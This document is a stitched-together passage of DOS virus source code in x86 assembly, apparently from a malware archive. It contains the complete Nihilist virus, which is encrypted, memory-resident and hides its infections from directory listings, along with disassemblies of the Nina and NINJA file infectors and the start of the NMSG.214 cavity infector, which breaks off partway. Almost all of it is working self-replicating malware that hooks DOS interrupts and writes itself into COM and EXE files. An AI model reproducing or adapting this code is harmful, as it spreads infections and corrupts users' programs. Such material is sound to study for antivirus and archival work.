dec bx
xor dx,dx
push bx
xor bp,bp
xor bx,bx
ret
;danke db 'Nightwak'
theend:
.data
old_bytes db 0c3h,90h,90h
new_bytes db 0E9h, 2 dup (0)
dta db 42 dup(0)
f_string db '*'+80h,'.'+80h,'c'+80h,'o'+80h,'m'+80h,0,0
end begin

View File

@ -0,0 +1,473 @@
; nihilist.asm : [Nihilist]
; Created with Biological Warfare - Version 0.90á by MnemoniX
PING equ 0D86Bh
PONG equ 043C4h
STAMP equ 25
MARKER equ 0F0FFh
code segment
org 0
assume cs:code,ds:code
start:
db 0E9h,3,0 ; to virus
host:
db 0CDh,20h,0 ; host program
virus_begin:
mov dx,VIRUS_SIZE / 2 + 1
db 0BBh ; decryption module
code_offset dw offset virus_code
decrypt:
db 02Eh,081h,37h ; XOR CS:[BX]
cipher dw 0
inc bx
inc bx
dec dx
jnz decrypt
virus_code:
push ds es
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1
xor ax,ax ; mild anti-trace code
mov es,ax ; kill interrupts 1 & 3
mov di,6
stosw
mov di,14
stosw
in al,21h ; lock out & reopen keyboard
xor al,2
out 21h,al
xor al,2
out 21h,al
mov ax,PING ; test for residency
int 21h
cmp cx,PONG
je installed
mov ax,es ; Get PSP
dec ax
mov ds,ax ; Get MCB
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
mov es,word ptr ds:[12h]
push cs ; copy virus into memory
pop ds
xor di,di
mov si,bp
mov cx,(virus_end - start) / 2 + 1
rep movsw
xor ax,ax ; capture interrupts
mov ds,ax
mov si,21h * 4 ; get original int 21
mov di,offset old_int_21
movsw
movsw
mov word ptr ds:[si - 4],offset new_int_21
mov ds:[si - 2],es ; and set new int 21
installed:
call activate ; activation routine
pop es ds ; restore segregs
cmp sp,MARKER ; check for .EXE
je exe_exit
com_exit:
lea si,[bp + host] ; restore host program
mov di,100h
push di
movsw
movsb
call fix_regs ; fix up registers
ret ; and leave
exe_exit:
mov ax,ds ; fix up return address
add ax,10h
push ax
add ax,cs:[bp + exe_cs]
mov cs:[bp + return_cs],ax
mov ax,cs:[bp + exe_ip]
mov cs:[bp + return_ip],ax
pop ax
add ax,cs:[bp + exe_ss] ; restore stack
cli
mov ss,ax
mov sp,cs:[bp + exe_sp]
call fix_regs ; fix up registers
sti
db 0EAh ; back to host program
return_ip dw 0
return_cs dw 0
exe_cs dw -16 ; orig CS:IP
exe_ip dw 103h
exe_sp dw -2 ; orig SS:SP
exe_ss dw -16
fix_regs:
xor ax,ax
cwd
xor bx,bx
mov si,100h
xor di,di
xor bp,bp
ret
; interrupt 21 handler
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,PING ; residency test
je ping_pong
cmp ah,11h ; directory stealth
je dir_stealth
cmp ah,12h
je dir_stealth
cmp ah,4Eh ; directory stealth
je dir_stealth_2
cmp ah,4Fh
je dir_stealth_2
cmp ah,3Dh ; file open
je file_open
cmp ax,4B00h ; execute program
jne int_21_exit
jmp execute
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
ping_pong:
mov cx,PONG
iret
dir_stealth:
call int_21 ; get dir entry
test al,al
js dir_stealth_done
push ax bx es
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 17h] ; check for infection marker
and al,31
cmp al,STAMP
jne dir_fixed
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
sbb word ptr es:[bx + 1Fh],0
dir_fixed:
pop es bx ax
dir_stealth_done:
iret
dir_stealth_2:
pushf
call dword ptr cs:[old_int_21]
jc dir_stealth_done_2
check_infect2:
push ax bx es
mov ah,2Fh
int 21h
mov ax,es:[bx + 16h]
and al,31 ; check timestamp
cmp al,STAMP
jne fixed_2
sub es:[bx + 1Ah],VIRUS_SIZE + 3
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es bx ax
clc ; clear carry
dir_stealth_done_2:
retf 2
file_open:
push ax cx di es
call get_extension
cmp [di],'OC' ; .COM file?
jne perhaps_exe ; perhaps .EXE then
cmp byte ptr [di + 2],'M'
jne not_prog
jmp a_program
perhaps_exe:
cmp [di],'XE' ; .EXE file?
jne not_prog
cmp byte ptr [di + 2],'E'
jne not_prog
a_program:
pop es di cx ax
jmp execute ; infect file
not_prog:
pop es di cx ax
jmp int_21_exit
execute:
push ax bx cx dx si di ds es
call get_extension ; check filename
cmp es:[di - 3],'DN' ; skip if COMMAND
jne open_file
jmp cant_open
open_file:
xor ax,ax ; critical error handler
mov es,ax ; routine - catch int 24
mov es:[24h * 4],offset int_24
mov es:[24h * 4 + 2],cs
mov ax,4300h ; change attributes
int 21h
push cx dx ds
xor cx,cx
call set_attributes
mov ax,3D02h ; open file
call int_21
jc cant_open
xchg bx,ax
push cs ; CS = DS
pop ds
mov ax,5700h ; save file date/time
int 21h
push cx dx
mov ah,3Fh
mov cx,28
mov dx,offset read_buffer
int 21h
cmp word ptr read_buffer,'ZM' ; .EXE?
je infect_exe ; yes, infect as .EXE
mov al,2 ; move to end of file
call move_file_ptr
cmp dx,65279 - (VIRUS_SIZE + 3)
ja dont_infect ; too big, don't infect
sub dx,VIRUS_SIZE + 3 ; check for previous infection
cmp dx,word ptr read_buffer + 1
je dont_infect
add dx,VIRUS_SIZE + 3
mov word ptr new_jump + 1,dx
add dx,103h
call encrypt_code ; encrypt virus
mov dx,offset read_buffer ; save original program head
int 21h
mov ah,40h ; write virus to file
mov cx,VIRUS_SIZE
mov dx,offset encrypt_buffer
int 21h
xor al,al ; back to beginning of file
call move_file_ptr
mov dx,offset new_jump ; and write new jump
int 21h
fix_date_time:
pop dx cx
and cl,-32 ; add time stamp
or cl,STAMP
mov ax,5701h ; restore file date/time
int 21h
close:
pop ds dx cx ; restore attributes
call set_attributes
mov ah,3Eh ; close file
int 21h
cant_open:
pop es ds di si dx cx bx ax
jmp int_21_exit ; leave
set_attributes:
mov ax,4301h
int 21h
ret
dont_infect:
pop cx dx ; can't infect, skip
jmp close
move_file_ptr:
mov ah,42h ; move file pointer
cwd
xor cx,cx
int 21h
mov dx,ax ; set up registers
mov ah,40h
mov cx,3
ret
infect_exe:
cmp word ptr read_buffer[26],0
jne dont_infect ; overlay, don't infect
cmp word ptr read_buffer[16],MARKER
je dont_infect ; infected already
les ax,dword ptr read_buffer[20]
mov exe_cs,es ; CS
mov exe_ip,ax ; IP
les ax,dword ptr read_buffer[14]
mov exe_ss,ax ; SS
mov exe_sp,es ; SP
mov word ptr read_buffer[16],MARKER
mov ax,4202h ; to end of file
cwd
xor cx,cx
int 21h
push ax dx ; save file size
push bx
mov cl,12 ; calculate offsets for CS
shl dx,cl ; and IP
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx
sub dx,word ptr read_buffer[8]
mov word ptr read_buffer[22],dx
mov word ptr read_buffer[20],ax
add dx,100
mov word ptr read_buffer[14],dx
pop dx ax ; calculate prog size
add ax,VIRUS_SIZE + 3
adc dx,0
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr read_buffer[2],dx
mov word ptr read_buffer[4],ax
mov dx,word ptr read_buffer[20]
call encrypt_code ; encrypt virus
mov ah,40h
mov cx,VIRUS_SIZE + 3
mov dx,offset encrypt_buffer
int 21h
mov ax,4200h ; back to beginning
cwd
xor cx,cx
int 21h
mov ah,40h ; and fix up header
mov cx,28
mov dx,offset read_buffer
int 21h
jmp fix_date_time ; done
courtesy_of db '[BW]',0
signature db '[Nihilist]',0
activate:
; Insert your routine here
ret
get_extension:
push ds ; find extension
pop es
mov di,dx
mov cx,64
mov al,'.'
repnz scasb
ret
encrypt_code:
push ax cx
push dx
xor ah,ah ; get time for random number
int 1Ah
mov cipher,dx ; save encryption key
pop cx
add cx,virus_code - virus_begin
mov code_offset,cx ; save code offset
push cs ; ES = CS
pop es
mov si,offset virus_begin ; move decryption module
mov di,offset encrypt_buffer
mov cx,virus_code - virus_begin
rep movsb
mov cx,VIRUS_SIZE / 2 + 1
encrypt:
lodsw ; encrypt virus code
xor ax,dx
stosw
loop encrypt
pop cx ax
ret
int_24:
mov al,3 ; int 24 handler
iret
new_jump db 0E9h,0,0
virus_end:
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?) ; read buffer
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start

View File

@ -0,0 +1,154 @@
.model tiny
.code
org 100h
; Disassembly done by Dark Angel of Phalcon/Skism
; for 40Hex Number 9, Volume 2 Issue 5
start:
push ax
mov ax,9753h ; installation check
int 21h
mov ax,ds
dec ax
mov ds,ax ; ds->program MCB
mov ax,ds:[3] ; get size word
push bx
push es
sub ax,40h ; reserve 40h paragraphs
mov bx,ax
mov ah,4Ah ; Shrink memory allocation
int 21h
mov ah,48h ; Allocate 3Fh paragraphs
mov bx,3Fh ; for the virus
int 21h
mov es,ax ; copy virus to high
xor di,di ; memory
mov si,offset start + 10h ; start at MCB:110h
mov cx,100h ; (same as PSP:100h)
rep movsb
sub ax,10h ; adjust offset as if it
push ax ; originated at 100h
mov ax,offset highentry
push ax
retf
endfile dw 100h ; size of infected COM file
highentry:
mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
; memory isn't freed when the
; program terminates
mov ax,3521h ; get int 21h vector
int 21h
mov word ptr cs:oldint21,bx ; save it
mov word ptr cs:oldint21+2,es
push es
pop ds
mov dx,bx
mov ax,2591h ; redirect int 91h to int 21h
int 21h
push cs
pop ds
mov dx,offset int21
mov al,21h ; set int 21h to virus vector
int 21h
pop ds ; ds->original program PSP
pop bx
push ds
pop es
return_COM:
mov di,100h ; restore original
mov si,endfile ; file
add si,di ; adjust for COM starting
mov cx,100h ; offset
rep movsb
pop ax
push ds ; jmp back to original
mov bp,100h ; file (PSP:100)
push bp
retf
exit_install:
pop ax ; pop CS:IP and flags in
pop ax ; order to balance the
pop ax ; stack and then exit the
jmp short return_COM ; infected COM file
int21:
cmp ax,9753h ; installation check?
je exit_install
cmp ax,4B00h ; execute?
jne exitint21 ; nope, quit
push ax ; save registers
push bx
push cx
push dx
push ds
call infect
pop ds ; restore registers
pop dx
pop cx
pop bx
pop ax
exitint21:
db 0eah ; jmp far ptr
oldint21 dd ?
infect:
mov ax,3D02h ; open file read/write
int 91h
jc exit_infect
mov bx,ax
mov cx,100h
push cs
pop ds
mov ah,3Fh ; Read first 100h bytes
mov dx,offset endvirus
int 91h
mov ax,word ptr endvirus
cmp ax,'MZ' ; exit if EXE
je close_exit_infect
cmp ax,'ZM' ; exit if EXE
je close_exit_infect
cmp word ptr endvirus+2,9753h ; exit if already
je close_exit_infect ; infected
mov al,2 ; go to end of file
call move_file_pointer
cmp ax,0FEB0h ; exit if too large
ja close_exit_infect
cmp ax,1F4h ; or too small for
jb close_exit_infect ; infection
mov endfile,ax ; save file size
call write
mov al,0 ; go to start of file
call move_file_pointer
mov dx,100h ; write virus
call write
close_exit_infect:
mov ah,3Eh ; Close file
int 91h
exit_infect:
retn
move_file_pointer:
push dx
xor cx,cx
xor dx,dx
mov ah,42h
int 91h
pop dx
retn
write:
mov ah,40h
mov cx,100h
int 91h
retn
db ' Nina '
endvirus:
int 20h ; original COM file
end start

View File

@ -0,0 +1,530 @@
;NINJA virus v1.1 _sandoz_
;I dont believe that NINJA scans, it was developed from Soviet block virus
;code that was aquired late in 1988. For this reason some features are missing
;such as original encryption, which really wont be missed. However some features
;are rather unique. used were System Violator's Virus Mutator and some luck.
;an oldie but interesting.
cseg segment
assume cs:cseg, ds:cseg, es:cseg, ss:cseg
org 100h
l_0100: mov bx,offset l_0146 ;0100.BB 0146
jmp bx ;Register jump ;0103 FF E3
;-------victim code----------------------------------------------
; ...
org 0146h
;=======virus code begin=========================================
; in resident virus this code begins at 9000h:0A000h
;----------------------------------------------------------------
l_0146: push ds ;<- Entry into virus ;0146 1E
push es ;0147 06
push ax ;0148 50
NOP
push ds ;<-victim code restore ;0149 1E
pop es ;014A 07
mov si,bx ;offset wejscia w wirusa;014B 8B F3
add si,02D3h ;(419)changed code saved;014D.81 C6 02D3
mov di,0100h ;changed code address ;0151.BF 0100
mov cx,5 ;length of change ;0154 B9 0005
rep movsb ;0157 F3/ A4
push ds ;0159 1E
xor ax,ax ;<- get int 8 ;015A 31 C0
push ax ;015C 50
pop ds ;015D 1F
mov si,20h ;int 8h ;015E.BE 0020
mov di,bx ;0161 8B FB
add di,0E6h ;(022Ch)=old int 8 ;0163.81 C7 00E6
mov cx,4 ;0167 B9 0004
rep movsb ;016A F3/ A4
mov ax,bx ;016C 8B C3
add ax,57h ;(019Dh)=continuat. adr.;016E 05 0057
call s_0193 ;0171 E8 001F
pop ds ;0174 1F
l_0175: jmp short l_0175 ;int 8 waiting loop ;0175 EB FE
;<----- return after int 8 service-------------------------------
l_0177: cli ;<- int 8 vector restore;0177 FA
xor ax,ax ;0178 31 C0
mov es,ax ;017A 8E C0
mov di,0020h ;017C.BF 20 00
mov si,bx ;017F 8B F3
add si,0E9h ;(022Ch) ;0181.81 C6 E6 00
mov cx,4 ;0185 B9 04 00
repz movsb ;0188 F3 / A4
sti ;018A FB
NOP
pop ax ;<- run victim programm ;018B 58
pop es ;018C 07
pop ds ;018D 1F
mov bx,0100h ;execution begin address;018E.BB 00 01
jmp bx ;0191 FF E3
;<----- "get int 8" routine -------------------------------------
s_0193 proc near
cli ; Disable interrupts ;0193 FA
mov ds:[20h],ax ;0194 A3 0020
mov ds:[22h],es ;0197 8C 06 0022
sti ; Enable interrupts ;019B FB
retn ;019C C3
s_0193 endp
;<----- code executed after interrupt int 8----------------------
l_019D: pushf ;019D 9C
push ax ;019E 50
push bx ;019F 53
push cx ;01A0 51
push dx ;01A1 52
push si ;01A2 56
push di ;01A3 57
push es ;01A4 06
push ds ;01A5 1E
push bp ;01A6 55
mov bp,sp ;01A7 8B EC
mov ax,bx ;base to virus code ;01A9 8B C3
add ax,2Fh ;(175h) ;01AB 05 002F
cmp ss:[bp+14h],ax ;interrupted code CS seg;01AE 36 39 46 14
jnz l_0220 ;-> we must wait again ;01B2 75 6C
l_01B4: add word ptr ss:[BP+14],3 ;chng ret addr to l_0177;01B4 36 83 46 14 03
;<- restore int 8 vector
push ds ;02B9 1E
xor ax,ax ;01BA 31 C0
push ax ;01BC 50
POP DS ;01BD 1F
CLI ;01BE FA
MOV AX,cs:[BX+00E6h] ;(022Ch) old int 8 vect ;01BF 2E 8B 87 E6 00
MOV ds:[20h],AX ;01C4 A3 20 00
MOV AX,cs:[BX+00E8h] ;01C7 2E 8B 87 E8 00
MOV ds:[22h],AX ;01CC A3 22 00
POP DS ;01CF 1F
MOV AX,9000h ;memory last 64KB ;01D0 B8 00 90
MOV ES,AX ;01D3 8E C0
MOV SI,BX ;virus code begin ;01D5 8B F3
MOV DI,0A000h ;the last 24KB of mem ;01D7 BF 00 A0
MOV AL,es:[DI] ;01DA 26 8A 05
CMP AL,1Eh ;allready installed ? ;01DD 3C 1E
JZ l_0220 ;-> yes, end of job ;01DF 74 3F
MOV CX,02FBh ;virus code length ;01E1 B9 FB 02
REPZ MOVSB ;copy virus code ;01E4 F3 / A4
;<- Make link to DOS
CALL s_0230 ;first DOS version ;01E6 E8 47 00
JZ l_0220 ;-> O.K. ;01E9 74 35
CALL s_027D ;Second DOS version ;01EB E8 8F 00
JZ l_0220 ;-> O.K. ;01EE 74 30
CALL s_02CA ;third DOS version ;01F0 E8 D7 00
JZ l_0220 ;-> O.K. ;01F3 74 2B
;<- Unknown DOS version, BRUTE installation
MOV AX,9000h ;01F5 B8 00 90
PUSH AX ;01F8 50
POP ES ;01F9 07
XOR AX,AX ;01FA 31 C0
PUSH AX ;01FC 50
POP DS ;01FD 1F
MOV AX,ds:[84h] ;01FE A1 84 00
MOV es:[0A1DFh],AX ;(0325) ;0201 26 A3 DF A1
MOV es:[0A2CEh],AX ;(0414) ;0205 26 A3 CE A2
MOV AX,ds:[86h] ;0209 A1 86 00
MOV es:[0A1E1h],AX ;(0327) ;020C 26 A3 E1 A1
MOV es:[0A2D0h],AX ;(0416) ;0210 26 A3 D0 A2
MOV AX,0A1D1h ;(0317) new int 21h hndl;0214 B8 D1 A1
MOV ds:[84h],AX ;int 21h ;0217 A3 84 00
MOV AX,9000h ;resident virus segment ;021A B8 00 90
MOV ds:[86h],AX ;021D A3 86 00
l_0220: pop bp ;0220 5D
pop ds ;0221 1F
pop es ;0221 07
pop di ;0222 5F
pop si ;0223 5E
pop dx ;0224 5A
pop cx ;0226 59
pop bx ;0227 5B
pop ax ;0228 58
popf ;0229 9D
sti ;022A FB
db 0EAh ;022B EA
r_00E6 db 0ABh,00h,0C2h,0Bh ;022C AB 00 C2 0B
; jmp 0BC2:00AB ;-> oryginal int 8
;================================================================
; Make link to DOS - first DOS version
;----------------------------------------------------------------
s_0230: PUSH DS ;0230 1E
PUSH ES ;0231 06
XOR AX,AX ;<- check possibility ;0232 31 C0
PUSH AX ;0234 50
POP DS ;0235 1F
MOV AX,ds:[86h] ;oryginal int 21h seg ;0236 A1 86 00
PUSH AX ;0239 50
POP DS ;023A 1F
MOV BX,0100h ;023B BB 00 01
CMP BYTE PTR [BX],0E9h ;023E 80 3F E9
JNZ l_027A ;-> unknown system ;0241 75 37
INC BX ;0243 43
CMP BYTE PTR [BX],53h ;0244 80 3F 53
JNZ l_027A ;-> unknown system ;0247 75 31
INC BX ;0249 43
CMP BYTE PTR [BX],22h ;024A 80 3F 22
JNZ l_027A ;-> unknown system ;024D 75 2B
;<- make link to DOS
MOV AX,9000h ;024F B8 00 90
MOV ES,AX ;0252 8E C0
MOV SI,1223h ;0254 BE 23 12
MOV DI,0A2CEh ;(0414) ;0257 BF CE A2
MOV CX,4 ;025A B9 04 00
REPZ MOVSB ;025D F3 / A4
MOV SI,1223h ;025F BE 23 12
MOV DI,0A1DFh ;(0325) ;0262 BF DF A1
MOV CX,4 ;0265 B9 04 00
REPZ MOVSB ;0268 F3 / A4
MOV AX,0A1D1h ;(0317)=new int 21h hndl;026A B8 D1 A1
MOV ds:[1223h],AX ;026D A3 23 12
MOV AX,9000h ;0270 B8 00 90
MOV ds:[1225h],AX ;0273 A3 25 12
XOR AX,AX ;0276 31 C0
CMP AL,AH ;0278 38 E0
l_027A: pop es ;027A 07
pop ds ;027B 1F
retn ;027C C3
;================================================================
; Make link to DOS - second DOS version
;----------------------------------------------------------------
s_027D: push ds ;027D 1E
push es ;027E 06
xor ax,ax ;<- check possibility ;027F 31 C0
push ax ;0281 50
pop ds ;0282 1F
mov ax,ds:[86h] ;oryginal int 21h seg ;0283 A1 0086
push ax ;0286 50
pop ds ;0287 1F
mov bx,0100h ;0288 .BB 0100
cmp byte ptr [bx],0E9h ;028B 80 3F E9
jne l_02C7 ;-> unknown system ;028E 75 37
inc bx ;0290 43
cmp byte ptr [bx],0CAh ;0291 80 3F CA
jne l_02C7 ;-> unknown system ;0294 75 31
inc bx ;0296 43
cmp byte ptr [bx],13h ;0297 80 3F 13
jne l_02C7 ;-> unknown system ;029A 75 2B
;<- make link to DOS
mov ax,9000h ;029C B8 9000
mov es,ax ;029F 8E C0
mov si,011Dh ;02A1 .BE 011D
mov di,0A2CEh ;(0414) ;02A4 .BF A2CE
mov cx,4 ;02A7 B9 0004
rep movsb ;02AA F3/ A4
mov si,011Dh ;02AC .BE 011D
mov di,0A1DFh ;(0325) ;02AF .BF A1DF
mov cx,4 ;02B2 B9 0004
rep movsb ;02B5 F3/ A4
mov ax,0A1D1h ;(0317)=new int 21h hndl;02B7 B8 A1D1
mov ds:[011Dh],ax ;02BA A3 011D
mov ax,9000h ;02BD B8 9000
mov ds:[011Fh],ax ;02C0 A3 011F
xor ax,ax ;02C3 31 C0
cmp al,ah ;02C5 38 E0
l_02C7: pop es ;02C7 07
pop ds ;02C8 1F
retn ;02C9 C3
;===============================================================
; Make link to DOS - third DOS version
;---------------------------------------------------------------
s_02CA: push ds ;02CA 1E
push es ;02CB 06
xor ax,ax ;<- check possibility ;02CC 31 C0
push ax ;02CE 50
pop ds ;02CF 1F
mov ax,ds:[86h] ;oryginal int 21h seg ;02D0 A1 0086
push ax ;02D3 50
pop ds ;02D4 1F
mov bx,100h ;02D5 .BB 0100
cmp byte ptr [bx],0E9h ;02D8 80 3F E9
jne l_0314 ;-> unknown system ;02DB 75 37
inc bx ;02DD 43
cmp byte ptr [bx],15h ;02DE 80 3F 15
jne l_0314 ;-> unknown system ;02E1 75 31
inc bx ;02E3 43
cmp byte ptr [bx],5 ;02E4 80 3F 05
jne l_0314 ;-> unknown system ;02E7 75 2B
;<- make link to DOS
mov ax,9000h ;02E9 B8 9000
mov es,ax ;02EC 8E C0
mov si,0040Fh ;02EE .BE 040F
mov di,0A2CEh ;(0414) ;02F1 .BF A2CE
mov cx,4 ;02F4 B9 0004
rep movsb ;02F7 F3/ A4
mov si,0040Fh ;02F9 .BE 040F
mov di,0A1DFh ;(0325) ;02FC .BF A1DF
mov cx,4 ;02FF B9 0004
rep movsb ;0302 F3/ A4
mov ax,0A1D1h ;(0317)=new int 21h hndl;0304 B8 A1D1
mov ds:[040Fh],ax ;0307 A3 040F
mov ax,9000h ;030A B8 9000
mov ds:[0411h],ax ;030D A3 0411
xor ax,ax ;0310 31 C0
cmp al,ah ;0312 38 E0
l_0314: pop es ;0314 07
pop ds ;0315 1F
retn ;0316 C3
;==========================================================================
; New int 21h handling subroutine
;--------------------------------------------------------------------------
T_A1D1: cmp ah,3Dh ;open file ? ;0317 80 FC 3D
je l_0321 ;-> Yes ;031A 74 05
cmp ah,4Bh ;load&execute/load ovl ?;031C 80 FC 4B
jne l_0324 ;-> No ;031F 75 03
l_0321: call s_0329 ;-> infect file ;0321 E8 0005
l_0324: db 0EAh ;<- oryginal int 21h ;0324 EA
d_A1DF dw 1460h,0273h ;old int 21h ;0325 60 14 73 02
; jmp far ptr 0273:1460
;==========================================================================
; Infecting subroutine
;--------------------------------------------------------------------------
s_0329 proc near
push ax ;0329 50
push bx ;032A 53
push cx ;032B 51
push dx ;032C 52
push ds ;032D 1E
push di ;032E 57
push si ;032F 56
push es ;0330 06
push ds ;0331 1E
push es ;0332 06
NOP
xor ax,ax ;<- get int 24h ;0333 31 C0
push ax ;0335 50
pop ds ;0336 1F
push cs ;0337 0E
pop es ;0338 07
mov si,90h ;int 24h vector ;0339 .BE 0090
mov di,0A2E0h ;(0426)-old vector safes;033C .BF A2E0
mov cx,4 ;double word ;033F B9 0004
rep movsb ;0342 F3/ A4
mov ax,0A2C9h ;(040F)=new int 24h ;0344 B8 A2C9
mov ds:[90h],ax ;0347 A3 0090
mov ds:[92h],cs ;034A 8C 0E 0092
NOP
pop es ;034E 07
pop ds ;034F 1F
mov di,dx ;file path ;0350 8B FA
push ds ;0352 1E
pop es ;0353 07
mov cx,40h ;find dot ;0354 B9 0040
mov al,2Eh ;0357 B0 2E
repne scasb ;0359 F2/ AE
cmp cx,0 ;035B 83 F9 00
jne l_0363 ;035E 75 03
jmp l_0406 ;-> no file extension ;0360 E9 00A3
l_0363: push cs ;0363 0E
pop es ;0364 07
mov si,di ;0365 8B F7
mov di,0A2DDh ;(0423)='COM' ;0367 .BF A2DD
mov cx,3 ;036A B9 0003
repe cmpsb ;036D F3/ A6
cmp cx,0 ;036F 83 F9 00
je l_0377 ;0372 74 03
jmp l_0406 ;-> it isn't *.COM ;0374 E9 008F
;<- *.COM file infection
l_0377: mov ax,4300h ;Get file attributes ;0377 B8 4300
call s_0412 ;int 21h call ;037A E8 0095
mov ds:[0A2E4h],cx ;(042A) ;037D 89 0E A2E4
and cx,0FFFEh ;no R/O ;0381 81 E1 FFFE
mov ax,4301h ;Set file attributes ;0385 B8 4301
call s_0412 ;int 21h call ;0388 E8 0087
mov ah,3Dh ;Open File ;038B B4 3D
mov al,2 ;R/W access ;038D B0 02
call s_0412 ;int 21h call ;038F E8 0080
jc l_0406 ;-> Opening Error ;0392 72 72
push cs ;0394 0E
pop ds ;0395 1F
mov bx,ax ;file handle ;0396 8B D8
mov dx,0A2D3h ;(0419) = file buffer ;0398 BA A2D3
mov cx,5 ;bytes count ;039B B9 0005
mov ah,3Fh ;read file ;039E B4 3F
call s_0412 ;int 21h call ;03A0 E8 006F
mov ah,0BBh ;allready infected ? ;03A3 B4 BB
cmp ah,ds:[0A2D3h] ;(0419) ;03A5 3A 26 A2D3
je l_03E2 ;-> yes, close file ;03A9 74 37
xor cx,cx ;03AB 31 C9
xor dx,dx ;03AD 31 D2
mov ah,42h ;Move file ptr ;03AF B4 42
mov al,2 ;EOF + offset ;03B1 B0 02
call s_0412 ;int 21h call ;03B3 E8 005C
cmp ax,0FA00h ;file size =<64000 ;03B6 3D FA00
ja l_03E2 ;-> above, close file ;03B9 77 27
add ax,100h ;PSP length ;03BB 05 0100
mov ds:[0A2D9h],ax ;(041F) - vir.begin addr;03BE A3 A2D9
mov ah,40h ;Write file ;03C1 B4 40
mov dx,0A000h ;address of buffer ;03C3 BA A000
mov cx,2FBh ;bytes count ;03C6 B9 02FB
call s_0412 ;int 21h call ;03C9 E8 0046
xor cx,cx ;03CC 31 C9
xor dx,dx ;03CE 31 D2
mov ah,42h ;Move file ptr ;03D0 B4 42
mov al,0 ;BOF + offset ;03D2 B0 00
call s_0412 ;int 21h call ;03D4 E8 003B
mov ah,40h ;Write file ;03D7 B4 40
mov dx,0A2D8h ;(041E)=BOF virus code ;03D9 BA A2D8
mov cx,5 ;code length ;03DC B9 0005
call s_0412 ;int 21h call ;03DF E8 0030
l_03E2: mov ah,3Eh ;close file ;03E2 B4 3E
call s_0412 ;int 21h call ;03E4 E8 002B
mov cx,ds:[0A2E4h] ;(042A) - old atribute ;03E7 8B 0E A2E4
mov ax,4301h ;set file attributes ;03EB B8 4301
call s_0412 ;int 21h call ;03EE E8 0021
push ds ;03F1 1E
push es ;03F2 06
xor ax,ax ;restore int 24h vector ;03F3 31 C0
push ax ;03F5 50
pop es ;03F6 07
push cs ;03F7 0E
pop ds ;03F8 1F
mov di,90h ;int 24h vector ;03F9 .BF 0090
mov si,0A2E0h ;(0426) - old int 24h ;03FC .BE A2E0
mov cx,4 ;double word ;03FF B9 0004
rep movsb ;0402 F3/ A4
pop es ;0404 07
pop ds ;0405 1F
l_0406: pop es ;<- EXIT ;0406 07
pop si ;0407 5E
pop di ;0408 5F
pop ds ;0409 1F
pop dx ;040A 5A
pop cx ;040B 59
pop bx ;040C 5B
pop ax ;040D 58
retn ;040E C3
s_0329 endp
;================================================================
; int 24h handling routine (only infection time)
;----------------------------------------------------------------
T_A2C9: mov al,0 ;ignore critical error ;040F B0 00
iret ;0411 CF
;================================================================
; hidden int 21h call
;----------------------------------------------------------------
s_0412 proc near
pushf ;0412 9C
db 9Ah ;0413 9A
d_A2CE dw 1460h,0273h ;old int 21h ;0414 60 14 73 02
;call far ptr 0273:1460
retn ;0418 C3
s_0412 endp
;<----- oryginal BOF code
d_A2D3 db 31h,0Dh,0Ah,32h,0Dh ;0419 31 0D 0A 32 0D
;<----- wirus BOF code
d_A2D8 db 0BBh ;041E BB
d_A2D9 dw 0146h ;virus begin address ;041F 46 01
dw 0E3FFh ;0421 FF E3
;<----- work bytes
d_A2DD db 'COM' ;file extension pattern ;0423 43 4F 4D
d_A2E0 dw 0556h,1232h ;old int 24h vector ;0426 56 05 32 12
d_A2E4 dw 0 ;file attributes ;042A 00 00
;<----- just my way of sayin' howdy
db '-=NINJA=- <sandoz 1993>' ;042C 50 43 2D 46 4C 55
; 20 62 79 20 57 49
; 5A 41 52 44 20 31
; 39 39 31
cseg ends
end l_0100


View File

@ -0,0 +1,174 @@
comment *
NMSG.214 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
NMSG.214 is a runtime/direct action cavity EXE virus. Infects one file in
current directory, by searching for an area of Microsoft C error messages
and overwriting that area with the virus.
I would like to thank VirusBuster/29A for providing me with the binary of
this virus.
To compile NMSG.214 with Turbo Assembler v 5.0 type:
TASM /M NMSG_214.ASM
TLINK /x NMSG_214.OBJ
*
.model tiny
.code
.186
code_begin:
call delta_offset
virus_begin:
initial_csip:
initial_ip dw 00h ; Initial IP
initial_cs dw 0fff0h ; Initial CS relative to start of ...
file_specifi db '*.exe',00h ; File specification
string_begin:
scan_string db '<<NMSG>>'
string_end:
delta_offset:
pop bp ; Load BP from stack
push ds es ; Save segments at stack
mov ax,ss ; AX = stack segment
add ah,10h ; AX = segment of buffer
mov bx,ds:[02h] ; BX = segment of first byte beyon...
sub bx,ax ; Subtract stack segment from segm...
cmp bh,10h ; Insufficient memory?
jb virus_exit ; Below? Jump to virus_exit
mov es,ax ; ES = segment of buffer
xor dx,dx ; DX = offset of Disk Transfer Ar...
push ss ; Save SS at stack
pop ds ; Load DS from stack (SS)
mov ah,1ah ; Set Disk Transfer Area address
int 21h
mov ah,4eh ; Find first matching file (DTA)
xor cx,cx ; CX = file attribute mask
lea dx,[bp+(file_specifi-virus_begin)]
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
int 21h
jc virus_exit ; Error? Jump to virus_exit
examine_file:
mov ax,ss:[1ch] ; AX = high-order word of file size
